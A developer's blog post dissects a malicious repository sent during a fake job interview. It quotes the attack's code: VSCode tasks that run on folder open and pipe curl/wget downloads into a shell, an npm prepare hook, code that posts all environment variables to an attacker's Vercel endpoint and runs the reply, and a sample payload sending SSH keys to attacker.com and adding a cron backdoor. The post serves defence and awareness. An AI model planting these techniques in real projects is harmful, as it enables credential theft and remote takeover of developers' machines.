Anatomy of a developer-targeted supply chain attack
This happened to me. It started with a LinkedIn message from someone named Kevin (profile currently deleted), pitching a Technical Lead role for a decentralized staking platform — $6.3M budget, fully remote, flexible hours. The pitch was polished and the opportunity sounded legitimate. I scheduled an interview — but when the call started, a different person showed up. That was the first red flag. The conversation quickly moved to reviewing their codebase. My first instinct was to open the project in GitHub Codespaces — a sandboxed environment where none of the attack vectors described below would have touched my machine. But the repository didn’t have the option available, and I moved on to cloning it locally.
After I cloned the repo, the attacker specifically asked me to open it in VSCode. At the time this seemed like an odd request — why would someone care which editor I use? I happened to use JetBrains products and didn’t have VSCode installed, so I declined. This turned out to be a critical save: the .vscode/tasks.json attack vector (detailed below) only works in VSCode, where tasks configured with "runOn": "folderOpen" execute automatically when the folder is opened. JetBrains IDEs ignore .vscode/tasks.json entirely. The attacker was steering me toward the one editor that would trigger their payload without any user action.
When that didn’t work, the attacker pivoted. They asked to check my Node version — a seemingly innocent request that also served as a way to confirm I had Node.js installed and ready. Then they offered to run npm install for me, asking for screen sharing. Since I know npm install can run lifecycle hooks like postinstall, and I had no idea what their dependencies would execute, I refused. I asked for time to review the project before the next call — but they pushed to do it right then and there. I refused again. They simply dropped off and never followed up.
This is the escalation pattern of social engineering: when the automated triggers fail (no VSCode, no npm install), the attacker falls back to manually guiding the target through the execution step. Each request sounds helpful and reasonable in isolation — checking compatibility, helping with setup — but the sole objective is getting npm install to run on the target’s machine by any means necessary. And when the target won’t comply, the attacker disappears — there’s no point continuing the charade.
I was very curious what they were actually trying to achieve, so I asked Claude to analyze the project. This article is the breakdown of that analysis — a real malicious codebase sent to me to review during the interview. The attacker’s goal: steal credentials from my machine and achieve remote code execution — all triggered by simply running npm install or opening the project in VSCode.
The project presents itself as “DLabs Platform,” a Web3 gaming/staking/betting platform built with React, Node.js, Express, and MongoDB. The README is polished, the dependencies look reasonable, and the code structure appears professional. Beneath this surface, two independent attack vectors work together to compromise any developer who interacts with the project.
The Social Engineering Layer
The attack begins before any code runs. The attacker sends the repository to a target — typically framed as a job interview task, a freelance project to review, or a collaboration opportunity. The README reinforces legitimacy:
## Installation & Running the Project
### 1. Clone the Repository
### 2. Install Dependencies
npm install
### 3. Run the Development Server
npm start
Standard instructions. Nothing alarming. The project has a professional structure with src/, server/, public/ directories, real dependencies like react, express, mongoose, ethers, and even a .gitignore. It looks like dozens of other Web3 starter projects on GitHub.
Attack Vector 1: VSCode Task Auto-Execution
Let’s look at .vscode/tasks.json.
This is the most insidious vector because it doesn’t require the developer to run any command — just opening the folder in VSCode is enough.
Task 1: Silent npm install
{
"label": "install-root-modules",
"type": "shell",
"command": "npm install --silent --no-progress",
"runOptions": {
"runOn": "folderOpen"
},
"presentation": {
"reveal": "silent",
"echo": false,
"focus": false,
"panel": "new",
"showReuseMessage": false,
"clear": true
}
}
When VSCode opens this folder, it runs npm install --silent --no-progress in the background. The presentation settings ensure maximum stealth:
"reveal": "silent"— don’t show the terminal panel"echo": false— don’t echo the command being run"focus": false— don’t steal focus"showReuseMessage": false— suppress terminal reuse messages"clear": true— clear the terminal after execution
The --silent and --no-progress npm flags suppress npm’s own output. This task runs npm install, which triggers the prepare hook, which starts the malicious server, which exfiltrates credentials and executes remote code. All silently, in the background, while the developer is reading the README.
VSCode does prompt before running folderOpen tasks by default, but many developers click “Allow” without reading. To disable auto-run tasks entirely, add "task.allowAutomaticTasks": "off" to your VSCode settings. You can also set "security.workspace.trust.enabled": true to enable Workspace Trust — VSCode will then treat cloned repositories as untrusted by default and disable task auto-execution, terminal profiles, and extensions that the workspace tries to configure.
Task 2: Direct Shell Payload Download
{
"label": "env",
"type": "shell",
"osx": {
"command": "curl -L '...' | bash"
},
"linux": {
"command": "wget -qO- '...' | sh"
},
"windows": {
"command": "curl --ssl-no-revoke -L ... | cmd"
},
"runOptions": {
"runOn": "folderOpen"
}
}
This task downloads and executes a shell script directly from the attacker’s second Vercel deployment (vscodesettings-tasks-j227.vercel.app). It’s platform-aware:
- macOS:
curl -L | bash - Linux:
wget -qO- | sh - Windows:
curl --ssl-no-revoke -L | cmd(the--ssl-no-revokeflag bypasses certificate revocation checks)
The Horizontal Scroll Trick
In the raw tasks.json file, the malicious commands are padded with approximately 200 spaces before the "command" key:
"linux": {
"command": "wget -qO- '...' | sh"
}
In a text editor or code review tool, the "command" key is pushed far off the right edge of the visible area. A developer scrolling through the file would see:
"linux": {
}
The command appears to be an empty object. You’d have to scroll horizontally — or have word wrap enabled — to see the actual payload. This is a known obfuscation technique specifically targeting code review in editors without word wrap.
Attack Vector 2: The npm Lifecycle Hook
Let’s look at package.json:
"scripts": {
"start": "node server/server.js | react-scripts --openssl-legacy-provider start",
"build": "node server/server.js | react-scripts --openssl-legacy-provider build",
"test": "node server/server.js | react-scripts --openssl-legacy-provider test",
"eject": "node server/server.js | react-scripts --openssl-legacy-provider eject",
"prepare": "node server/server.js"
}
The prepare script is npm’s built-in lifecycle hook — it runs automatically after npm install completes. No user interaction required. The developer runs npm install expecting to download dependencies, and npm silently executes node server/server.js when it finishes.
But notice something else: every single script (start, build, test, eject) also starts with node server/server.js |. The pipe operator runs the server as a side effect before the actual command. No matter which npm script the developer runs, the malicious server starts. This is defense in depth — from the attacker’s perspective.
Why prepare specifically?
npm has several lifecycle hooks: preinstall, postinstall, prepare, prepublish. The prepare hook is a calculated choice:
preinstall/postinstallare well-known attack vectors and are increasingly flagged by security tools and npm auditprepareis less scrutinized — it’s commonly used for legitimate purposes like building TypeScript or running Husky git hooks- It runs after dependencies are installed, meaning
express,axios, and other packages the malicious code depends on are available
Step 1: Environment Variable Exfiltration
Suppose the server started — here’s what happens next. Let’s look at server/controllers/auth.js:
const setApiKey = (s) => atob(s);
const verify = (api) =>
axios.post(api, { ...process.env }, {
headers: { "x-app-request": "ip-check" }
});
Two innocent-looking utility functions. setApiKey decodes a Base64 string. verify makes a POST request. But look at the second argument to axios.post:
{ ...process.env }
The spread operator on process.env sends every environment variable on the developer’s machine as the POST body. Developers routinely store credentials in environment variables — it’s how most CLI tools and SDKs are designed to authenticate. AWS CLI reads AWS_ACCESS_KEY_ID, OpenAI SDK reads OPENAI_API_KEY, Stripe reads STRIPE_SECRET_KEY, and so on. This means a typical developer’s environment might contain:
- AWS credentials (
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY) - API keys (OpenAI, Stripe, cloud providers)
- Database connection strings
- Session secrets and JWT keys
- SSH agent socket paths
- PATH, HOME, and other system variables
The function names are deliberately mundane. verify sounds like it’s validating an API key. setApiKey sounds like a setter. In a code review, these blend into the surrounding authentication logic perfectly.
The header "x-app-request": "ip-check" is another misdirection — it implies the request is a routine IP validation, not a data exfiltration operation.
Step 2: The Base64-Obfuscated Endpoint
Where do the exfiltrated credentials go? Let’s look at .env:
AUTH_API=aHR0cHM6Ly9pcC1jaGVja2luZy1ub3RpZmljYXRpb24tajEudmVyY2VsLmFwcC9hcGk=
Base64 decoding reveals:
https://ip-checking-notification-j1.vercel.app/api
The attacker hosts their collection endpoint on Vercel — a legitimate, trusted hosting platform. This has several advantages:
- Vercel URLs aren’t flagged by most firewalls or security tools
- The subdomain
ip-checking-notification-j1sounds like a benign service - Vercel’s free tier requires no identity verification, making attribution difficult
- Vercel deployments are ephemeral and easy to redeploy under new URLs
The Base64 encoding isn’t strong obfuscation — any developer who runs atob() on it can decode it. But it serves its purpose: a quick grep for URLs in the .env file won’t reveal a suspicious domain. It looks like an API key, not a URL.
The .env file itself is a prop
Notice that .env is not in .gitignore. The .gitignore carefully excludes:
.env.development.local
.env.test.local
.env.production.local
But not .env itself. This is intentional. The .env file is committed to the repository with realistic-looking demo keys:
ALCHEMY_API_KEY=demo-alchemy-0123456789abcdef
STRIPE_SECRET_KEY=sk_test_STRIPEKEY123456
AWS_ACCESS_KEY_ID=AKIAEXAMPLE12345
OPENAI_API_KEY=sk-test_OpenAIkey1234567890
These fake keys serve two purposes:
- They make the project look legitimate — a real project with real integrations
- They demonstrate what kinds of credentials the project “needs,” normalizing the presence of secrets in the environment
Step 3: Remote Code Execution via Dynamic Function Construction
Now let’s see how it all ties together. Let’s look at server/routes/api/auth.js:
const verified = validateApiKey();
if (!verified) {
console.log("Aborting mempool scan due to failed API verification.");
return;
}
async function validateApiKey() {
verify(setApiKey(process.env.AUTH_API))
.then((response) => {
const executor = new Function("require", response.data);
executor(require);
console.log("API Key verified successfully.");
return true;
})
.catch((err) => {
console.log("API Key verification failed:", err);
return false;
});
}
This is the most dangerous component. Let’s trace the execution:
setApiKey(process.env.AUTH_API)— decodes the Base64 endpoint URLverify(decodedUrl)— POSTs all environment variables to the attacker’s server- The attacker’s server responds with JavaScript code in
response.data new Function("require", response.data)— constructs a new function with the response body as its source codeexecutor(require)— executes that function, passing Node.js’srequireas an argument
By passing require to the dynamically constructed function, the attacker’s code can load any Node.js module: fs for file system access, child_process for shell commands, os for system information, net for network operations. The attacker has full, unrestricted access to the developer’s machine.
What the attacker’s server can send back
Since require is available, the response payload can do anything Node.js can do:
// Read SSH keys
const fs = require('fs');
const keys = fs.readFileSync(require('os').homedir() + '/.ssh/id_rsa', 'utf8');
// Execute shell commands
const { execSync } = require('child_process');
execSync('curl attacker.com/exfil?data=' + encodeURIComponent(keys));
// Install a persistent backdoor
fs.writeFileSync('/tmp/.hidden_script.sh', '...');
execSync('crontab -l | echo "* * * * * /tmp/.hidden_script.sh" | crontab -');
The new Function() constructor is essentially eval() with a cleaner syntax. It’s a well-known code smell, but in a large codebase with Express routes, middleware, and controllers, it can slip past a casual review — especially when wrapped in functions named validateApiKey and verify.
The error message is social engineering too
console.log("Aborting mempool scan due to failed API verification.");
“Mempool scan” is Web3 jargon. If the malicious request fails (e.g., the attacker’s server is down), the error message blends into what you’d expect from a blockchain application. The developer sees a “failed API verification” and assumes it’s a configuration issue, not an attack that didn’t complete.
The Full Attack Flow
Putting it all together, here is the complete attack flow:
Developer receives project link
│
├── Opens in VSCode ──┐
│ ├── Task 1: silent npm install ── prepare hook ── server starts
│ │ │
│ │ ┌───────────────────────┘
│ │ │
│ │ POST process.env to attacker
│ │ │
│ │ Receive JS payload
│ │ │
│ │ new Function()(require) ── RCE
│ │
│ └── Task 2: curl/wget | bash ── direct shell payload
│
└── Runs npm install ── prepare hook ── (same server chain as above)
The attacker has built redundancy into the attack:
- Two independent triggers: VSCode folder open and npm install
- Three independent payloads: env exfiltration, dynamic JS execution, direct shell download
- Every npm script compromised: start, build, test, and eject all trigger the server
If one vector fails, others still execute. If the attacker’s Vercel endpoint is down, they still get environment variables. If the developer doesn’t use VSCode, the npm hook still fires.
Indicators of Compromise
If you ran npm install or opened this project in VSCode, check for:
- Outbound connections to
*.vercel.appdomains in your network logs - Unknown cron jobs:
crontab -lon Linux/macOS - Unusual processes: check for persistent background processes
- Modified shell configs:
.bashrc,.zshrc,.profilemodifications - New SSH keys or authorized_keys entries
- Browser extension installations or modifications
Rotate all credentials that were present in your environment variables at the time of execution.
A Good Instinct: GitHub Codespaces
Before cloning locally, my first instinct was to open the project in GitHub Codespaces — a cloud-based development environment that runs in a disposable container. This would have been an excellent decision. Even if all five attack vectors fired, the damage would have been contained to a throwaway VM with no access to my real credentials, SSH keys, or local filesystem.
However, the repository didn’t have the Codespaces button available. GitHub Codespaces is configured per repository — the owner or organization controls whether it’s enabled. If you don’t see the “Code > Codespaces” option, it means the repo owner hasn’t enabled it (or the org policy disables it). In this case, the attacker had no reason to enable it. This forced me to clone it locally, which is exactly what the attacker wants. Pushing the target away from sandboxed environments and onto their local machine is part of the social engineering.
This highlights an important pattern: if someone sends you a project to review and you can’t easily open it in a sandboxed environment like Codespaces or GitPod, that itself should raise a flag. Legitimate collaborators generally have no reason to prevent you from using cloud-based dev environments.
What if this ran on Deno?
It’s worth asking: would a secure-by-default runtime like Deno have helped here? The answer is yes — significantly. Deno requires explicit permission flags for sensitive operations: --allow-env to read environment variables, --allow-net to make network requests, --allow-read and --allow-write for filesystem access, --allow-run for spawning subprocesses. Without these flags, the runtime refuses the operation and throws an error.
In this attack, Step 1 (exfiltrating process.env) would fail without --allow-env. The outbound POST to the attacker’s Vercel endpoint would fail without --allow-net. And Step 3 — the dynamically constructed function calling require('fs') or require('child_process') — would fail without --allow-read, --allow-write, and --allow-run. The entire attack chain collapses at multiple points.
That said, Deno wouldn’t help with Attack Vector 2 (VSCode tasks). The .vscode/tasks.json payload runs shell commands directly — curl | bash, wget | sh — bypassing any runtime-level sandboxing entirely. And the npm lifecycle hook (the prepare script) is an npm feature, not a Node.js feature — it executes whatever command is specified in package.json as a shell command, so Deno’s permission model doesn’t apply there either.
The takeaway: a permissions-based runtime like Deno would have neutralized the server-side attack chain completely, but the editor-level and package-manager-level vectors operate outside the runtime’s control.
Lessons and Defenses
- Open untrusted projects in GitHub Codespaces, GitPod, or a container — if the option isn’t available, ask yourself why
- Never run
npm installon untrusted code without first readingpackage.jsonscripts - Disable VSCode auto-run tasks: Settings >
"task.allowAutomaticTasks": "off"— VSCode does prompt before running folder-open tasks by default, but many developers click “Allow” without reading - Use
npm install --ignore-scriptswhen first installing an untrusted project to skip lifecycle hooks - Enable word wrap in your editor to catch horizontal scroll obfuscation
- Check
.vscode/directories in cloned projects — task configs can execute arbitrary commands - Use sandboxed environments (containers, VMs, or isolated WSL instances) when reviewing untrusted code
- Look for
new Function(),eval(), andchild_processimports in Node.js projects — these are legitimate in some contexts but are common attack primitives - Be suspicious of Base64 values in config files — decode them before running the project
Stay up to date
Get notified when I publish new deep dives.